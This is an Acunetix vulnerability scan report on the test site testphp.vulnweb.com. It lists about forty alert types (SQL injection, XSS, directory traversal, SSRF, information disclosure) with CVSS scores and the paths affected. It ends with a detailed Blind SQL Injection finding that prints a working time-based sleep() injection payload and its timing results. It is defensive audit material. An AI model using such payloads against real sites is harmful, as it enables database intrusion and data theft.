

Developer Report

Acunetix website audit

25 November 2016

WEB APPLICATION SECURITY

Generated by Acunetix Reporter

Scan of http://testphp.vulnweb.com

Scan details

Scan information	
Start time	17/11/2016, 19:22:12
Start url	http://testphp.vulnweb.com
Host	http://testphp.vulnweb.com
Scan time	14 minutes, 35 seconds
Profile	Full Scan

Threat level

Acunetix Threat Level 3

Alerts distribution

Total alerts found	151
High	75
Medium	48
Low	9
Informational	19

Alerts summary

Blind SQL Injection

Classification	
CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 10.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: High Integrity Impact: High Availability Impact: None
CWE	CWE-89
Affected items	Variation
/Mod_Rewrite_Shop/details.php	1
/product.php	2
/guestbook.php	1
/userinfo.php	3

/AJAX/infotitle.php	1
/search.php	3
Web Server	1
/AJAX/infocateg.php	1
/listproducts.php	3
/sendcommand.php	1
/Mod_Rewrite_Shop/rate.php	1
/Mod_Rewrite_Shop/buy.php	1
/AJAX/infoartist.php	1
/artists.php	2
/secured/newuser.php	1
/cart.php	1

Cross site scripting

Classification		
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None	
CWE	CWE-79	
Affected items	Variation	
/hpp/params.php	2	
/404.php	1	
/hpp/index.php	1	
/guestbook.php	3	
/search.php	1	
/hpp	1	
/comment.php	1	
/AJAX/showxml.php	1	
/listproducts.php	2	
/secured/newuser.php	6	

Directory traversal

Classification

CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: None Availability Impact: None	
CWE	CWE-22	
Affected items		Variation
/showimage.php		1

! Macromedia Dreamweaver remote database scripts

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: High Remediation Level: Official_fix Report Confidence: Confirmed Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVE	CVE-2004-1893	
CWE	CWE-16	
Affected items		Variation
Web Server		1

! nginx SPDY heap buffer overflow

Classification		
CVSS2	Base Score: 5.1 Access Vector: Network_accessible Access Complexity: High Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Proof_of_concept Remediation Level: Official_fix	

	Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVE	CVE-2014-0133
CWE	CWE-122
Affected items	Variation
Web Server	1

! PHP allow_url_fopen enabled (AcuSensor)

Classification	
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-16
Affected items	Variation
Web Server	1

! Remote file inclusion XSS

Classification	
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None
CWE	CWE-79
Affected items	Variation

! Script source code disclosure

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-538	
Affected items		Variation
/showimage.php		1

! Server side request forgery

Classification		
CVSS2	Base Score: 5.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 9.0 Attack Vector: Network Attack Complexity: High Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: High Integrity Impact: High Availability Impact: High	
CWE	CWE-918	
Affected items		Variation
/showimage.php		1

! SQL injection

Classification	
	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial

CVSS2	Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 10.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Changed Confidentiality Impact: High Integrity Impact: High Availability Impact: None	
CWE	CWE-89	
Affected items		Variation
/Mod_Rewrite_Shop/details.php		1
/product.php		2
/guestbook.php		1
/userinfo.php		3
/AJAX/infotitle.php		1
/search.php		3
Web Server		1
/AJAX/infocateg.php		1
/listproducts.php		3
/sendcommand.php		1
/Mod_Rewrite_Shop/rate.php		1
/Mod_Rewrite_Shop/buy.php		1
/AJAX/infoartist.php		1
/artists.php		2
/secured/newuser.php		1
/cart.php		1

Weak password

Classification		
CVSS2	Base Score: 7.5 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low	

CVSS3	Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/userinfo.php		1

.htaccess file readable

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-16	
Affected items		Variation
/Mod_Rewrite_Shop		1

Application error message

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/listproducts.php		2

/secured/newuser.php	1
/showimage.php	2

! Backup files

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-538	
Affected items	Variation	
/index.bak	1	
/index.zip	1	

! CRLF injection/HTTP response splitting

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 5.4 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: Low Integrity Impact: Low Availability Impact: None	
CWE	CWE-113	
Affected items	Variation	
/redir.php	1	

! Cross domain data hijacking

Classification	
	Base Score: 4.3 Access Vector: Network_accessible

CVSS2	Access Complexity: Medium Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-20	
Affected items		Variation
/hpp/params.php		1

! Cross site scripting (content-sniffing)

Classification		
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None	
CWE	CWE-79	
Affected items		Variation
/showimage.php		1

! Directory listing

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined	

	Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-538
Affected items	Variation
/_mmServerScripts	1
/pictures	1
/Connections	1
/Templates	1
/wstests/pmwiki_2_1_19/scripts	1
/Flash	1
/.idea	1
/Mod_Rewrite_Shop/images	1
/wstests/pmwiki_2_1_19	1
/.idea/scopes	1
/wstests	1
/images	1

Error message on page

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None
CWE	CWE-200
Affected items	Variation
/Connections/DB_Connection.php	1
/secured/database_connect.php	1
/AJAX/infotitle.php	1

/AJAX/infoartist.php	1
/AJAX/infocateg.php	1
/listproducts.php	1
/pictures/path-disclosure-unix.html	1

! HTML form without CSRF protection

Classification		
CVSS2	Base Score: 2.6 Access Vector: Network_accessible Access Complexity: High Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 4.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: Required Scope: Unchanged Confidentiality Impact: None Integrity Impact: Low Availability Impact: None	
CWE	CWE-352	
Affected items		Variation
/signup.php		1
/guestbook.php		1
/login.php		1
/hpp		1
/comment.php		1
Web Server		1

! HTTP parameter pollution

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
	Base Score: 9.1 Attack Vector: Network	

CVSS3	Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: High Availability Impact: None	
CWE	CWE-88	
Affected items		Variation
/hpp		1
/hpp/index.php		1

Insecure crossdomain.xml file

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 6.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: Low Integrity Impact: Low Availability Impact: None	
CWE	CWE-284	
Affected items		Variation
Web Server		1

JetBrains .idea project directory

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-538	

Affected items	Variation
Web Server	1

! PHP errors enabled (AcuSensor)

Classification		
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-16	
Affected items	Variation	
Web Server	1	

! PHPinfo page found

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items	Variation	
/secured/phpinfo.php	1	

! Source code disclosure

Classification		
	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low	

CVSS2	Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-538	
Affected items		Variation
/index.bak		1
/pictures/wp-config.bak		1

URL redirection

Classification		
CVSS2	Base Score: 6.4 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 0.0 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: None	
CWE	CWE-601	
Affected items		Variation
/redir.php		1

User credentials are sent in clear text

Classification	
	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low

CVSS2	Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: High Remediation Level: Workaround Report Confidence: Confirmed Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 9.1 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: High Availability Impact: None	
CWE	CWE-310	
Affected items		Variation
/signup.php		1
/login.php		1

! WS_FTP log file found

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-538	
Affected items		Variation
/pictures/WS_FTP.LOG		1

! Clickjacking: X-Frame-Options header missing

Classification		
CVSS2	Base Score: 6.8 Access Vector: Network_accessible Access Complexity: Medium Authentication: None Confidentiality Impact: Partial Integrity Impact: Partial Availability Impact: Partial Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined	

	Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-693
Affected items	Variation
Web Server	1

❗ Hidden form input named price was found

Classification	
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CWE	CWE-16
Affected items	Variation
/product.php	1

❗ Login page password-guessing attack

Classification	
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined
CVSS3	Base Score: 5.3 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: None Integrity Impact: None Availability Impact: Low
CWE	CWE-307
Affected items	Variation
/userinfo.php	1

❗ MySQL username disclosure

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Classification		
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-538	
Affected items		Variation
/Connections/DB_Connection.php		1
/secured/database_connect.php		1

Possible sensitive directories

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/secured		1
/admin		1
/CVS		1

Possible virtual host found

Classification	
	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial

CVSS2	Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
Web Server		1

Broken links

Classification		
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CWE	CWE-16	
Affected items		Variation
/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1		1
/Mod_Rewrite_Shop/Details/web-camera-a4tech/2		1
/privacy.php		1
/medias/js/common_functions.js		1
/medias/css/main.css		1
/secured/office_files/filelist.xml		1
/Mod_Rewrite_Shop/Details/color-printer/3		1

Email address found

Classification		
	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None	

CVSS2	Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
Web Server		1

Microsoft Office possible sensitive information

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/secured/office.htm		1

Password type input with auto-complete enabled

Classification		
CVSS2	Base Score: 0.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: None Integrity Impact: None Availability Impact: None Exploitability: Not_defined	

	Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/signup.php		1
/login.php		1

Possible internal IP address disclosure

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/404.php		1
/pictures/ipaddresses.txt		1
/secured/phpinfo.php		1

Possible server path disclosure (Unix)

Classification		
	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial	

CVSS2	Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/pictures/path-disclosure-unix.html		1
/secured/phpinfo.php		1

Possible username or password disclosure

Classification		
CVSS2	Base Score: 5.0 Access Vector: Network_accessible Access Complexity: Low Authentication: None Confidentiality Impact: Partial Integrity Impact: None Availability Impact: None Exploitability: Not_defined Remediation Level: Not_defined Report Confidence: Not_defined Availability Requirement: Not_defined Collateral Damage Potential: Not_defined Confidentiality Requirement: Not_defined Integrity Requirement: Not_defined Target Distribution: Not_defined	
CVSS3	Base Score: 7.5 Attack Vector: Network Attack Complexity: Low Privileges Required: None User Interaction: None Scope: Unchanged Confidentiality Impact: High Integrity Impact: None Availability Impact: None	
CWE	CWE-200	
Affected items		Variation
/pictures/credentials.txt		1
/Connections/DB_Connection.php		1
/secured/database_connect.php		1

Alerts details

Blind SQL Injection

Severity	High
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Description

This script is possibly vulnerable to SQL Injection attacks.

SQL injection is a vulnerability that allows an attacker to alter back-end SQL statements by manipulating the user input. An SQL injection occurs when web applications accept user input that is directly placed into a SQL statement and doesn't properly filter out dangerous characters.

This is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against, there is a large number of web applications vulnerable.

Impact

An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information.

Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION in arbitrary data, use sub selects, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system.

Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures it may be possible to compromise the entire machine.

Recommendation

Your script should filter metacharacters from user input.
Check detailed information for more information about fixing this vulnerability.

References

[Acunetix SQL Injection Attack](http://www.acunetix.com/websitesecurity/sql-injection.htm) (<http://www.acunetix.com/websitesecurity/sql-injection.htm>)
[VIDEO: SQL Injection tutorial](http://www.acunetix.com/blog/web-security-zone/video-sql-injection-tutorial/) (<http://www.acunetix.com/blog/web-security-zone/video-sql-injection-tutorial/>)
[OWASP Injection Flaws](http://www.owasp.org/index.php/Injection_Flaws) (http://www.owasp.org/index.php/Injection_Flaws)
[How to check for SQL injection vulnerabilities](http://www.acunetix.com/websitesecurity/sql-injection2/) (<http://www.acunetix.com/websitesecurity/sql-injection2/>)
[SQL Injection Walkthrough](http://www.securiteam.com/securityreviews/5DP0N1P76E.html) (<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>)
[OWASP PHP Top 5](http://www.owasp.org/index.php/PHP_Top_5) (http://www.owasp.org/index.php/PHP_Top_5)

Affected items

/search.php

Details

URL encoded GET input **test** was set to **(select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+''+(select(0)from(select(sleep(0)))v)+'*/**

Tests performed:

- (select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+''+(select(0)from(select(sleep(9)))v)+'*/ => **9.062**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+''+(select(0)from(select(sleep(0)))v)+'*/ => **0.063**
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+''+(select(0)from(select(sleep(6)))v)+'*/ => **6.062**
- (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+''+(select(0)from(select(sleep(3)))v)+'*/ => **3.063**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+''+(select(0)from(select(sleep(0)))v)+'*/ => **0.062**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+''+(select(0)from(select(sleep(0)))v)+'*/ => **0.062**
- (select(0)from(select(sleep(0)))v)/*'+(select(0)from(select(sleep(0)))v)+''+(select(0)from(select(sleep(0)))v)+'*/ => **0.063**
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+''+(select(0)from(select(sleep(6)))v)+'*/ => **6.063**
